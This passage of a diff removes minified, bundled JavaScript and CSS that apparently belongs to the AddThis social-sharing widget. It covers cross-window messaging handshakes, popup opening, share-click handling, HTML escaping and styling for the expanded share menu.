-                                this.post(a({}, i.Keys.CROSS_WINDOW_HANDSHAKE_KEY, t)),
-                                setTimeout(() => {
-                                    n.connectionEstablished || e.onHandshakeTimeout.call(n);
-                                }, o * r);
-                            else {
-                                var s = r,
-                                    d = function r() {
-                                        return n.connectionEstablished ?
-                                            (clearTimeout(n._connectionTimeoutId), void(n._connectionTimeoutId = null)) :
-                                            s <= 0 ?
-                                            void e.onHandshakeTimeout.call(n) :
-                                            (n.post(a({}, i.Keys.CROSS_WINDOW_HANDSHAKE_KEY, t)),
-                                                s--,
-                                                clearTimeout(n._connectionTimeoutId),
-                                                void(n._connectionTimeoutId = setTimeout(r, o)));
-                                    };
-                                this._connectionTimeoutId = setTimeout(d, o);
-                            }
-                        },
-                        listenForAck() {
-                            this.usePolling ?
-                                e.pollForAck.call(this) :
-                                ((this._handshakeAckListener = e.handshakeAckListener.bind(this)),
-                                    window.addEventListener(
-                                        this.communicationMedium === i.CommunicationMedia.CROSS_WINDOW_LOCALSTORAGE ? 'storage' : 'message',
-                                        this._handshakeAckListener
-                                    ));
-                        }
-                    });
-                })();
-                (t.default = o), (e.exports = t.default);
-            },
-            (e, t, n) => {
-                'use strict';
-                Object.defineProperty(t, '__esModule', {
-                    value: !0
-                });
-                var a = n(468);
-                var i = (() => {
-                    var e = {
-                        ack() {
-                            this.post({});
-                        },
-                        handshakeListener(t) {
-                            var n = e.getHandshakeMessage.call(this, t);
-                            if (n) {
-                                if (
-                                    ((this.connectionEstablished = !0),
-                                        (this.target = t ? t.source : null),
-                                        (this.targetOrigin = n[a.Keys.CROSS_WINDOW_HANDSHAKE_KEY]),
-                                        !this.usePolling)
-                                ) {
-                                    var i = this.communicationMedium === a.CommunicationMedia.CROSS_WINDOW_LOCALSTORAGE ? 'storage' : 'message';
-                                    window.removeEventListener(i, this._handshakeListener), window.addEventListener(i, this.proxyListener);
-                                }
-                                this.emit('connectionestablished', {
-                                        message: !0
-                                    }),
-                                    e.ack.call(this);
-                            }
-                        },
-                        getHandshakeMessage(e) {
-                            var t = this.getUnwrappedData(e),
-                                n = t.message,
-                                i = t.recipient;
-                            if (!n) return null;
-                            var o = !1;
-                            return (
-                                (o =
-                                    this.communicationMedium !== a.CommunicationMedia.CROSS_WINDOW_POSTMESSAGE ?
-                                    (this.isInitiator && i === a.ActivityDescriptors.CROSS_WINDOW_INITIATOR) ||
-                                    (!this.isInitiator && i === a.ActivityDescriptors.CROSS_WINDOW_JOINER) :
-                                    !!e.source),
-                                (o = o && n[a.Keys.CROSS_WINDOW_HANDSHAKE_KEY] && !this.connectionEstablished),
-                                o ? n : null
-                            );
-                        },
-                        pollForHandshake() {
-                            var t = this;
-                            if (this.communicationMedium === a.CommunicationMedia.CROSS_WINDOW_POSTMESSAGE)
-                                throw new Error('Polling listeners cannot be used with postMessage communicators.');
-                            if (!this._handshakePollTimeoutId) {
-                                var n = function n() {
-                                    e.handshakeListener.call(t),
-                                        clearTimeout(t._handshakePollTimeoutId),
-                                        t.connectionEstablished ?
-                                        (delete t._handshakePollTimeoutId, t.pollForMessages()) :
-                                        (t._handshakePollTimeoutId = setTimeout(n, 500));
-                                };
-                                this._handshakePollTimeoutId = setTimeout(n, 0);
-                            }
-                        }
-                    };
-                    return Object.freeze({
-                        listenForHandshake() {
-                            this.usePolling ?
-                                e.pollForHandshake.call(this) :
-                                ((this._handshakeListener = e.handshakeListener.bind(this)),
-                                    window.addEventListener(
-                                        this.communicationMedium === a.CommunicationMedia.CROSS_WINDOW_LOCALSTORAGE ? 'storage' : 'message',
-                                        this._handshakeListener
-                                    ));
-                        }
-                    });
-                })();
-                (t.default = i), (e.exports = t.default);
-            },
-            (e, t, n) => {
-                'use strict';
-                function a(e, t, n) {
-                    return (
-                        t in e ?
-                        Object.defineProperty(e, t, {
-                            value: n,
-                            enumerable: !0,
-                            configurable: !0,
-                            writable: !0
-                        }) :
-                        (e[t] = n),
-                        e
-                    );
-                }
-                Object.defineProperty(t, '__esModule', {
-                    value: !0
-                });
-                var i = n(468);
-                var o = Object.freeze({
-                    post(e) {
-                        var t = this.target,
-                            n = this.targetOrigin,
-                            i = this.eventNamespace;
-                        if (!t || 'string' != typeof n || '*' === n)
-                            throw new TypeError(
-                                'Cannot securely post a message with the options provided to this communicator. ' +
-                                ('(Relevant options: { target: ' + t + ', targetOrigin: ' + n + ', communicationMedium: CROSS_WINDOW_POSTMESSAGE }).')
-                            );
-                        var o = a({}, i, {
-                            message: e
-                        });
-                        t.postMessage(o, n);
-                    },
-                    getUnwrappedData(e) {
-                        var t = e.data,
-                            n = void 0 === t ? {} : t;
-                        return n[this.eventNamespace] || {};
-                    },
-                    getProxyMessage(e) {
-                        if (e.origin !== this.targetOrigin) return null;
-                        var t = this.getUnwrappedData(e),
-                            n = t.message;
-                        return n[i.Keys.CROSS_WINDOW_HANDSHAKE_KEY] ? null : n;
-                    }
-                });
-                (t.default = o), (e.exports = t.default);
-            },
-            (e, t, n) => {
-                'use strict';
-                function a(e) {
-                    return e && e.__esModule ?
-                        e : {
-                            default: e
-                        };
-                }
-                Object.defineProperty(t, '__esModule', {
-                    value: !0
-                });
-                var i = n(5);
-                var o = a(i);
-                (t.default = {
-                    ICON_RENDER_INCREMENT: 60,
-                    NUM_ICONS_TO_INITIALLY_RENDER: 40,
-                    MAX_TOP_SERVICES: (0, o.default)('mob') ? 8 : 10,
-                    CROSS_WINDOW_NAMESPACE: 'addthis.expanded.messages'
-                }),
-                (e.exports = t.default);
-            },
-            (e, t, n) => {
-                var a = n(423);
-                e.exports = (e, t, n) => {
-                    var i;
-                    if (window.CloudflareApps && window.CloudflareApps.preview) {
-                        var o = window.CloudflareApps.preview.open.direct;
-                        i = n ? o.call(window, e, t, n) : o.call(window, e, t, n);
-                    } else i = n ? window.open(e, t, n) : window.open(e, t);
-                    return a.push(i), i;
-                };
-            },
-            (e, t, n) => {
-                'use strict';
-                function a(e) {
-                    return e && e.__esModule ?
-                        e : {
-                            default: e
-                        };
-                }
-                function i(e, t, n) {
-                    return function(...args) {
-                        var a = args.length > 0 && void 0 !== args[0] ? args[0] : {};
-                        var i = a.message;
-                        if (i) {
-                            var o = i.code;
-                            var s = i.menuShare;
-                            var u = i.menuConfig;
-                            var l = i.menuType;
-                            o &&
-                                s &&
-                                u &&
-                                ('follow' !== l && p.indexOf(o) !== -1 ?
-                                    (e.tellTargetCloseWindow(),
-                                        setTimeout(() => {
-                                            (0, c.default)(
-                                                o,
-                                                (0, r.default)(!0, {}, s, u, {
-                                                    defaultShareToNewTab: !0
-                                                })
-                                            );
-                                        }, 16)) :
-                                    ((0, d.default)(o, 'follow' === l ? 1 : 0, s, u),
-                                        t &&
-                                        t.fire(
-                                            'addthis.menu.' + l,
-                                            n,
-                                            (0, r.default)({}, s, {
-                                                service: o,
-                                                url: s.url || s.followUrl
-                                            })
-                                        ),
-                                        'link' !== o && 'mailto' !== o && (0, f.default)(o, s, u, l, e)),
-                                    t && t.fire('addthis.expanded.monitor.share'));
-                        }
-                    };
-                }
-                Object.defineProperty(t, '__esModule', {
-                        value: !0
-                    }),
-                    (t.default = i);
-                var o = n(8);
-                var r = a(o);
-                var s = n(476);
-                var d = a(s);
-                var u = n(390);
-                var c = a(u);
-                var l = n(493);
-                var f = a(l);
-                var p = [
-                    'addthis',
-                    'more',
-                    'bkmore',
-                    'compact',
-                    'expanded',
-                    'houzz',
-                    'thefancy',
-                    'pinterest',
-                    'pinterest_share',
-                    'favorites',
-                    'print',
-                    'weheartit',
-                    'baidu'
-                ];
-                e.exports = t.default;
-            },
-            (e, t, n) => {
-                var a = n(401);
-                var i = n(60).makeCUID;
-                var o = n(397);
-                var r = n(403);
-                e.exports = (e, t, n, s, d) => {
-                    var u;
-                    var c = r(n) || {};
-                    var l = r(s) || {};
-                    c.xid || (c.xid = i()), (l.hdl = 1), (u = a(e, t, c, l)), o(u, 1), d || _ate.share.notify(e, c, s, null, t);
-                };
-            },
-            (e, t) => {
-                'use strict';
-                function n(e) {
-                    return e.replace(/[&<>"'\/]/g, (e) => a[e]);
-                }
-                Object.defineProperty(t, '__esModule', {
-                        value: !0
-                    }),
-                    (t.default = n);
-                var a = {
-                    '&': '&amp;',
-                    '<': '&lt;',
-                    '>': '&gt;',
-                    '"': '&quot;',
-                    "'": '&#x27;',
-                    '/': '&#x2F;'
-                };
-                e.exports = t.default;
-            },
-            (e, t, n) => {
-                var a = n(479);
-                'string' == typeof a && (a = [
-                    [e.id, a, '']
-                ]);
-                n(330)(a, {});
-                a.locals && (e.exports = a.locals);
-            },
-            (e, t, n) => {
-                (t = e.exports = n(329)()),
-                t.push([
-                    e.id,
-                    'html.at-expanded-menu-noscroll{overflow-x:visible;overflow-y:visible}body.at-expanded-menu-noscroll{overflow:hidden}@keyframes ellipses{to{width:1.25em}}#at-expanded-menu-host *{box-sizing:border-box}#at-expanded-menu-host .at-expanded-menu-hidden,#at-expanded-menu-host .at-expanded-menu-top-services-header.at-expanded-menu-hidden{display:none;visibility:hidden}#at-expanded-menu-host #at-expanded-menu-title,#at-expanded-menu-host .at-branding-logo,#at-expanded-menu-host .at-copy-link-result-message span,#at-expanded-menu-host .at-copy-link-share-page-url,#at-expanded-menu-host .at-expanded-menu,#at-expanded-menu-host .at-expanded-menu-button-label,#at-expanded-menu-host .at-expanded-menu-email-disclaimer,#at-expanded-menu-host .at-expanded-menu-load-btn,#at-expanded-menu-host .at-expanded-menu-page-title,#at-expanded-menu-host .at-expanded-menu-page-url,#at-expanded-menu-host .at-expanded-menu-privacy-link,#at-expanded-menu-host .at-expanded-menu-search-label-content,#at-expanded-menu-host .at-expanded-menu-top-services-header{font-family:helvetica neue,helvetica,arial,sans-serif}#at-expanded-menu-host svg span{opacity:0;outline:0;visibility:hidden}#at-expanded-menu-host .loading-container{display:table;height:75pt;width:100%}#at-expanded-menu-host .loading-container .loading-spinner{background:url(' +
-                    n(480) +
-                    ') 50% 50% no-repeat;display:table-cell;height:100%;width:100%}#at-expanded-menu-host .at-expanded-menu-mask{background-color:rgba(0,0,0,.9);position:fixed;top:0;right:0;left:0;bottom:0;z-index:16777270}#at-expanded-menu-host.at-expanded-menu-standalone .at-expanded-menu-mask{background-color:rgba(0,0,0,.88)}#at-expanded-menu-host .at-expanded-menu{position:absolute;top:10%;left:50%;width:100%;margin-left:-20pc;overflow-x:hidden;overflow-y:auto;padding-top:40px;z-index:16777271;text-align:left;background:transparent}#at-expanded-menu-host.at-expanded-menu-safari .at-expanded-menu{overflow:hidden;padding-top:initial}#at-expanded-menu-host .at-expanded-menu-fade{width:100%;height:151px;position:fixed;bottom:0;left:0;z-index:16777272;pointer-events:none;background:linear-gradient(to bottom,transparent 0%,#000 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=\'#00000000\',endColorstr=\'#a6000000\',GradientType=0)}#at-expanded-menu-host .at-branding-info.at-expanded-menu-branding,#at-expanded-menu-host .at-branding-logo.at-expanded-menu-branding{cursor:pointer;text-decoration:none;position:fixed;right:20px;bottom:20px;z-index:16777273}#at-expanded-menu-host .at-branding-info.at-expanded-menu-branding{border:1px solid #ccc;color:#ccc}#at-expanded-menu-host .at-branding-info.at-expanded-menu-branding:before{color:#ccc}#at-expanded-menu-host .at-expanded-menu-primary-action-btn{background-color:#0295ff;border:none;border-radius:4px;color:#fff;cursor:pointer;display:block;font-size:1pc;margin:15px auto 0;padding:15px 35px;transition:background-color .2s ease-in}#at-expanded-menu-host .at-expanded-menu-primary-action-btn:hover{background-color:#0078ce}#at-expanded-menu-host .at-expanded-menu-close{position:fixed;right:20px;top:20px;width:30px;height:30px;margin:0;padding:0;z-index:16777274;background:none;background-color:#fff;border:none;border-radius:50%;color:#000;font-family:arial,sans-serif;font-size:11px;font-weight:400;line-height:normal;cursor:pointer;transition:all .4s ease}#at-expanded-menu-host .at-expanded-menu-close span{font-family:arial,sans-serif;font-size:28px;line-height:0;vertical-align:initial}#at-expanded-menu-host .at-expanded-menu-close:after{content:\'\';display:inline-block;height:22px}#at-expanded-menu-host .at-expanded-menu-close:hover{background-color:#666;color:#fff}#at-expanded-menu-host #at-expanded-menu-hd,#at-expanded-menu-host .at-expanded-menu-ft{text-align:center}#at-expanded-menu-host #at-expanded-menu-hd{display:inline-block}#at-expanded-menu-host .at-expanded-menu-ft{margin:-90px 35px 0;padding-bottom:75pt;position:relative;width:575px;z-index:3}#at-expanded-menu-host .at-expanded-menu-ft .at-expanded-menu-ft-loading{color:#fff;display:block;position:relative}#at-expanded-menu-host .at-expanded-menu-ft .at-expanded-menu-ft-loading:after{animation:ellipses 1s steps(4, end) 0s infinite forwards;content:" \\2026";display:inline-block;overflow:hidden;position:absolute;vertical-align:bottom;width:0}#at-expanded-menu-host #at-expanded-menu-bd{padding:20px 0;text-align:center;position:relative}#at-expanded-menu-host.at-expanded-menu-safari #at-expanded-menu-bd{overflow-y:auto}#at-expanded-menu-host .at-expanded-menu-title{display:block;font-size:60px;font-weight:300;line-height:60px;color:#fff;margin:0 35px 30px;padding:0;width:575px}#at-expanded-menu-host .at-expanded-menu-page-title{font-size:15px;font-weight:500;margin:0 35px}#at-expanded-menu-host .at-expanded-menu-page-title,#at-expanded-menu-host .at-expanded-menu-page-url{display:block;line-height:20px;color:#eeecec;overflow:hidden;text-overflow:ellipsis;padding:0;white-space:nowrap;width:575px}#at-expanded-menu-host .at-expanded-menu-page-url{font-size:13px;font-weight:300;margin:0 35px 20px;opacity:.6}#at-expanded-menu-host .at-expanded-menu-top-services-header{color:#eeecec;display:block;font-size:13px;font-weight:300;letter-spacing:2px;margin:0 0 30px;text-transform:uppercase;width:40pc}#at-expanded-menu-host .at-branding-logo.at-expanded-menu-branding .at-branding-addthis{color:#fff;font-size:9pt}#at-expanded-menu-host .at-branding-logo.at-expanded-menu-branding .at-branding-icon{background-size:cover;height:13px;width:13px}#at-expanded-menu-host .at-branding-logo .at-branding-icon{display:inline-block;margin-left:4px;margin-right:3px;margin-bottom:-1px;background-repeat:no-repeat;background-image:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAMAAAC67D+PAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAAZQTFRF////+GlNUkcc1QAAAB1JREFUeNpiYIQDBjQmAwMmkwEM0JnY1WIxFyDAABGeAFEudiZsAAAAAElFTkSuQmCC")}#at-expanded-menu-host .at-expanded-menu-privacy-link{position:fixed;bottom:20px;font-size:9pt;left:20px;z-index:16777273}#at-expanded-menu-host .at-expanded-menu-privacy-link a{text-decoration:none}#at-expanded-menu-host .at-expanded-menu-privacy-link a:hover{text-decoration:underline}#at-expanded-menu-host .at-expanded-menu-email-disclaimer a,#at-expanded-menu-host .at-expanded-menu-privacy-link a{color:#eeecec}#at-expanded-menu-host .at-expanded-menu-notification:before{background:url("data:image/svg+xml;base64,PHN2ZyB2ZXJzaW9uPSIxLjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHdpZHRoPSIzMiIgaGVpZ2h0PSIzMiIgdmlld0JveD0iMCAwIDMyIDMyIj4NCjxwYXRoIGZpbGw9IiNmZmYiIGQ9Ik0xMy43MTQgMi4yODZxMy43MzIgMCA2Ljg4NCAxLjgzOXQ0Ljk5MSA0Ljk5MSAxLjgzOSA2Ljg4NC0xLjgzOSA2Ljg4NC00Ljk5MSA0Ljk5MS02Ljg4NCAxLjgzOS02Ljg4NC0xLjgzOS00Ljk5MS00Ljk5MS0xLjgzOS02Ljg4NCAxLjgzOS02Ljg4NCA0Ljk5MS00Ljk5MSA2Ljg4NC0xLjgzOXpNMTYgMjQuNTU0di0zLjM5M3EwLTAuMjUtMC4xNjEtMC40MnQtMC4zOTMtMC4xN2gtMy40MjlxLTAuMjMyIDAtMC40MTEgMC4xNzl0LTAuMTc5IDAuNDExdjMuMzkzcTAgMC4yMzIgMC4xNzkgMC40MTF0MC40MTEgMC4xNzloMy40MjlxMC4yMzIgMCAwLjM5My0wLjE3dDAuMTYxLTAuNDJ6TTE1Ljk2NCAxOC40MTFsMC4zMjEtMTEuMDg5cTAtMC4yMTQtMC4xNzktMC4zMjEtMC4xNzktMC4xNDMtMC40MjktMC4xNDNoLTMuOTI5cS0wLjI1IDAtMC40MjkgMC4xNDMtMC4xNzkgMC4xMDctMC4xNzkgMC4zMjFsMC4zMDQgMTEuMDg5cTAgMC4xNzkgMC4xNzkgMC4zMTN0MC40MjkgMC4xMzRoMy4zMDRxMC4yNSAwIDAuNDItMC4xMzR0MC4xODgtMC4zMTN6Ij48L3BhdGg+DQo8L3N2Zz4=");background-size:contain;border-radius:50%;content:"";display:block;float:left;font-family:arial,sans-serif;height:20px;line-height:20px;margin:5px 5px 5px 10px;padding:0;width:20px}#at-expanded-menu-host .at-expanded-menu-search{position:relative;overflow:hidden;width:575px;margin:0 35px;height:65px;max-height:65px;line-height:65px}#at-expanded-menu-host .at-expanded-menu-search-input[type=text]{display:inline-block;height:inherit;width:100%;padding:0;margin:0 0 0 1px;vertical-align:middle;font-size:18px;line-height:20px;background:0 0;outline:0;border:none;border-radius:0;color:#fff}#at-expanded-menu-host .at-expanded-menu-search-input[type=text]::-ms-clear{display:none;height:0;width:0}#at-expanded-menu-host #at-expanded-menu-service-filter.at-expanded-menu-search-input[type=text]:focus{color:#eeecec;border-color:transparent;outline:0;box-shadow:none;-webkit-box-shadow:none;-moz-box-shadow:none}#at-expanded-menu-host .at-expanded-menu-search-label{display:block;position:relative;width:100%;text-align:left;height:55px;max-height:55px;line-height:55px;position:absolute;top:0;left:0}#at-expanded-menu-host .at-expanded-menu-search-label-content{display:block;font-size:19px;font-weight:300;color:#eeecec;opacity:1;-moz-user-select:none;-webkit-user-select:none;-ms-user-select:none;transition:all .4s ease}#at-expanded-menu-host .at-expanded-menu-search-filled .at-expanded-menu-search-label .at-expanded-menu-search-label-content,#at-expanded-menu-host .at-expanded-menu-search-input[type=text]:focus+.at-expanded-menu-search-label .at-expanded-menu-search-label-content{opacity:.5;font-size:9pt;line-height:9pt}#at-expanded-menu-host .at-expanded-menu-search-label:after,#at-expanded-menu-host .at-expanded-menu-search-label:before{content:\'\';position:absolute;top:0;left:0;width:100%;height:50px;border-bottom:1px solid #eeecec}#at-expanded-menu-host .at-expanded-menu-search-label:after{border-bottom:2px solid #eeecec;transform:translate3d(-100%,0,0);transition:transform .3s}#at-expanded-menu-host .at-expanded-menu-search-input:focus+.at-expanded-menu-search-label:after{transform:translate3d(0,0,0)}#at-expanded-menu-host .at-expanded-menu-search-icon{display:block;position:absolute;right:0;top:20px;width:25px;height:25px;margin-left:-29px;vertical-align:middle;text-align:left;font-size:18px;background-image:url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiA/PjxzdmcgaGVpZ2h0PSIzMnB4IiB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCAzMiAzMiIgd2lkdGg9IjMycHgiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6c2tldGNoPSJodHRwOi8vd3d3LmJvaGVtaWFuY29kaW5nLmNvbS9za2V0Y2gvbnMiIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj48dGl0bGUvPjxkZXNjLz48ZGVmcy8+PGcgZmlsbD0ibm9uZSIgZmlsbC1ydWxlPSJldmVub2RkIiBpZD0iUGFnZS0xIiBzdHJva2U9Im5vbmUiIHN0cm9rZS13aWR0aD0iMSI+PGcgZmlsbD0iIzkyOTI5MiIgaWQ9Imljb24tMTExLXNlYXJjaCI+PHBhdGggZD0iTTE5LjQyNzExNjQsMjEuNDI3MTE2NCBDMTguMDM3MjQ5NSwyMi40MTc0ODAzIDE2LjMzNjY1MjIsMjMgMTQuNSwyMyBDOS44MDU1NzkzOSwyMyA2LDE5LjE5NDQyMDYgNiwxNC41IEM2LDkuODA1NTc5MzkgOS44MDU1NzkzOSw2IDE0LjUsNiBDMTkuMTk0NDIwNiw2IDIzLDkuODA1NTc5MzkgMjMsMTQuNSBDMjMsMTYuMzM2NjUyMiAyMi40MTc0ODAzLDE4LjAzNzI0OTUgMjEuNDI3MTE2NCwxOS40MjcxMTY0IEwyNy4wMTE5MTc2LDI1LjAxMTkxNzYgQzI3LjU2MjExODYsMjUuNTYyMTE4NiAyNy41NTc1MzEzLDI2LjQ0MjQ2ODcgMjcuMDExNzE4NSwyNi45ODgyODE1IEwyNi45ODgyODE1LDI3LjAxMTcxODUgQzI2LjQ0Mzg2NDgsMjcuNTU2MTM1MiAyNS41NTc2MjA0LDI3LjU1NzYyMDQgMjUuMDExOTE3NiwyNy4wMTE5MTc2IEwxOS40MjcxMTY0LDIxLjQyNzExNjQgTDE5LjQyNzExNjQsMjEuNDI3MTE2NCBaIE0xNC41LDIxIEMxOC4wODk4NTExLDIxIDIxLDE4LjA4OTg1MTEgMjEsMTQuNSBDMjEsMTAuOTEwMTQ4OSAxOC4wODk4NTExLDggMTQuNSw4IEMxMC45MTAxNDg5LDggOCwxMC45MTAxNDg5IDgsMTQuNSBDOCwxOC4wODk4NTExIDEwLjkxMDE0ODksMjEgMTQuNSwyMSBMMTQuNSwyMSBaIiBpZD0ic2VhcmNoIi8+PC9nPjwvZz48L3N2Zz4=);background-color:transparent;background-repeat:no-repeat;background-size:25px 25px;filter:brightness(0) invert(1)}#at-expanded-menu-host .at-expanded-menu-service-list{list-style-type:none;padding:0 0 110px;margin:0;width:40pc}#at-expanded-menu-host .at-expanded-menu-service-list.border-before:before{border-top:1px solid #fff;content:\'\';display:block;margin-left:75pt;margin-top:-5pc;padding-bottom:50px;opacity:.4;width:440px}#at-expanded-menu-host .at-expanded-menu-service-list li{display:inline-block;position:relative;width:84px;min-width:84px;margin:0 17px 20px 22px;outline-color:#eeecec;vertical-align:top}#at-expanded-menu-host .at-expanded-menu-service-list li *{outline-color:#eeecec}#at-expanded-menu-host .at-expanded-menu-service-list button{background:none;border:none;cursor:pointer;padding:0;margin:0;width:84px}#at-expanded-menu-host .at-expanded-menu-button-label{line-spacing:.5px}#at-expanded-menu-host .top-service .at-expanded-menu-button-label{font-weight:400}#at-expanded-menu-host .at-expanded-menu-load{padding:10px 30px;font-size:14px;text-transform:uppercase;background-color:#fff;color:#000;border:none;border-radius:30px;cursor:pointer}#at-expanded-menu-host .at-expanded-menu .at-icon-wrapper{display:block;width:84px;height:84px;overflow:hidden;cursor:pointer;transition:transform .2s ease}#at-expanded-menu-host .at-expanded-menu .at-icon{fill:#fff}#at-expanded-menu-host .at-expanded-menu-round .at-icon-wrapper{border-radius:50%}#at-expanded-menu-host .at-expanded-menu.at-expanded-menu-round .at-expanded-menu-button:focus,#at-expanded-menu-host .at-expanded-menu.at-expanded-menu-round [class^=at3winsvc_]:hover .at-icon-wrapper{transform:scale(1.05,1.05)}#at-expanded-menu-host .at-expanded-menu-round .at-expanded-menu-button-label{display:block;color:#eeecec;font-size:14px;font-weight:300;letter-spacing:.8px;margin-top:5px;margin-bottom:5px;line-height:1.2}#at-expanded-menu-host .at-expanded-menu-round .at-expanded-menu-button-label:hover{cursor:pointer}#at-expanded-menu-host .at-expanded-menu-round .at-expanded-menu-service-list button,#at-expanded-menu-host .at-expanded-menu-round .at-expanded-menu-service-list li{overflow:visible}#at-expanded-menu-host .at-expanded-menu.at-expanded-menu-email{left:0;max-height:100%;margin-left:0;text-align:center;top:0}#at-expanded-menu-host .at-expanded-menu.at-expanded-menu-email #at-expanded-menu-bd{padding:0}#at-expanded-menu-host .at-expanded-menu.at-expanded-menu-email #at-expanded-menu-title{font-size:2pc;line-height:2pc}#at-expanded-menu-host #at-expanded-menu-email-form{margin:0 auto;text-align:left;width:575px}#at-expanded-menu-host .at-expanded-menu-email-field label{color:#d5d4d2;display:block;font-size:13px;font-weight:200;letter-spacing:.8px;margin-bottom:5px}#at-expanded-menu-host .at-expanded-menu-email-field input,#at-expanded-menu-host .at-expanded-menu-email-field textarea{border-radius:3px;border-width:0;color:#333;display:block;font-size:1pc;margin-bottom:20px;outline-color:#eeecec;padding:10px;width:100%}#at-expanded-menu-host .at-expanded-menu-email-field input{height:40px}#at-expanded-menu-host .at-expanded-menu-email-field input.at-expanded-menu-email-error-field{background-color:#fdd;border-radius:3px 3px 0 0;margin-bottom:0}#at-expanded-menu-host .at-expanded-menu-email-field textarea{height:75pt}#at-expanded-menu-host .at-expanded-menu-email-error-message{background-color:#ff5050;border-radius:0 0 3px 3px;color:#fff;font-weight:300;font-size:13px;height:30px;margin-bottom:20px}#at-expanded-menu-host .at-expanded-menu-email-error-message span{height:30px;letter-spacing:.5px;line-height:30px}#at-expanded-menu-host .at-expanded-menu-email-error-message span:before{background:url("data:image/svg+xml;base64,PHN2ZyB2ZXJzaW9uPSIxLjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHdpZHRoPSIzMiIgaGVpZ2h0PSIzMiIgdmlld0JveD0iMCAwIDMyIDMyIj4NCjxwYXRoIGZpbGw9IiNmZmYiIGQ9Ik0xMy43MTQgMi4yODZxMy43MzIgMCA2Ljg4NCAxLjgzOXQ0Ljk5MSA0Ljk5MSAxLjgzOSA2Ljg4NC0xLjgzOSA2Ljg4NC00Ljk5MSA0Ljk5MS02Ljg4NCAxLjgzOS02Ljg4NC0xLjgzOS00Ljk5MS00Ljk5MS0xLjgzOS02Ljg4NCAxLjgzOS02Ljg4NCA0Ljk5MS00Ljk5MSA2Ljg4NC0xLjgzOXpNMTYgMjQuNTU0di0zLjM5M3EwLTAuMjUtMC4xNjEtMC40MnQtMC4zOTMtMC4xN2gtMy40MjlxLTAuMjMyIDAtMC40MTEgMC4xNzl0LTAuMTc5IDAuNDExdjMuMzkzcTAgMC4yMzIgMC4xNzkgMC40MTF0MC40MTEgMC4xNzloMy40MjlxMC4yMzIgMCAwLjM5My0wLjE3dDAuMTYxLTAuNDJ6TTE1Ljk2NCAxOC40MTFsMC4zMjEtMTEuMDg5cTAtMC4yMTQtMC4xNzktMC4zMjEtMC4xNzktMC4xNDMtMC40MjktMC4xNDNoLTMuOTI5cS0wLjI1IDAtMC40MjkgMC4xNDMtMC4xNzkgMC4xMDctMC4xNzkgMC4zMjFsMC4zMDQgMTEuMDg5cTAgMC4xNzkgMC4xNzkgMC4zMTN0MC40MjkgMC4xMzRoMy4zMDRxMC4yNSAwIDAuNDItMC4xMzR0MC4xODgtMC4zMTN6Ij48L3BhdGg+DQo8L3N2Zz4=");background-size:contain;border-radius:50%;content:"";display:block;float:left;font-family:arial,sans-serif;height:20px;line-height:20px;margin:5px 5px 5px 10px;padding:0;width:20px}#at-expanded-menu-host #at-expanded-menu-email-form>.at-expanded-menu-email-error-message{border-radius:3px;height:auto;margin-bottom:10px;min-height:40px;padding:10px 10px 10px 40px;position:relative}#at-expanded-menu-host #at-expanded-menu-email-form>.at-expanded-menu-email-error-message span{height:auto;line-height:1.6em}#at-expanded-menu-host #at-expanded-menu-email-form>.at-expanded-menu-email-error-message span:before{left:10px;margin:0;position:absolute;top:50%;transform:translateY(-50%)}#at-expanded-menu-host #at-expanded-menu-captcha-container{text-align:center}#at-expanded-menu-host #at-expanded-menu-captcha-container>:first-child{display:inline-block;transform:scale(0.8)}#at-expanded-menu-host .at-expanded-menu-email-btn{background-color:#0295ff;border:none;border-radius:4px;color:#fff;cursor:pointer;display:block;font-size:1pc;margin:15px auto 0;padding:15px 35px;transition:background-color .2s ease-in}#at-expanded-menu-host .at-expanded-menu-email-btn:hover{background-color:#0078ce}#at-expanded-menu-host .at-expanded-menu-email-other{margin:20px auto 40px;padding-bottom:20px;text-align:center;width:575px}#at-expanded-menu-host .at-expanded-menu-email-other p{color:#eeecec;font-size:14px;font-weight:300}#at-expanded-menu-host .at-expanded-menu-email-services{list-style-type:none;margin:0;padding:0}#at-expanded-menu-host .at-expanded-menu-email-services li{border-radius:4px;display:inline-block;height:2pc;margin:0 4px;overflow:hidden;width:2pc}#at-expanded-menu-host .at-expanded-menu-email-services li span{display:none}#at-expanded-menu-host .at-expanded-menu-email-services .at-expanded-menu-button{background:none;border:none;cursor:pointer;height:2pc;padding:0;margin:0;width:2pc}#at-expanded-menu-host .at-expanded-menu-email-services .at-icon-wrapper{border-radius:4px}#at-expanded-menu-host .at-expanded-menu-email-services svg{display:block}#at-expanded-menu-host #at-expanded-menu-email-sent{left:0;margin-left:0;padding-top:0;position:fixed;top:50%;transform:translateY(-50%)}#at-expanded-menu-host #at-expanded-menu-email-sent .at-expanded-menu-email-success-container{text-align:center}#at-expanded-menu-host #at-expanded-menu-email-sent .at-expanded-menu-service-list{margin:0 auto}#at-expanded-menu-host #at-expanded-menu-email-sent .at-expanded-menu-button,#at-expanded-menu-host #at-expanded-menu-email-sent .at-expanded-menu-service-list li{height:84px;width:84px}#at-expanded-menu-host #at-expanded-menu-email-sent .at-expanded-menu-button-label{padding-top:5px}#at-expanded-menu-host #at-expanded-menu-email-sent .at-icon-wrapper{overflow:hidden}#at-expanded-menu-host #at-expanded-menu-email-sent .at-icon-wrapper span{opacity:0}#at-expanded-menu-host .at-expanded-menu-email-success-message{color:#fff;display:block;font-size:36px;font-weight:300;padding-bottom:40px}#at-expanded-menu-host .at-expanded-menu-email-disclaimer{color:#beb6b6;display:block;font-size:9pt;text-align:center}#at-expanded-menu-host .at-expanded-menu-email-disclaimer span{display:block;margin-top:20px}#at-expanded-menu-host 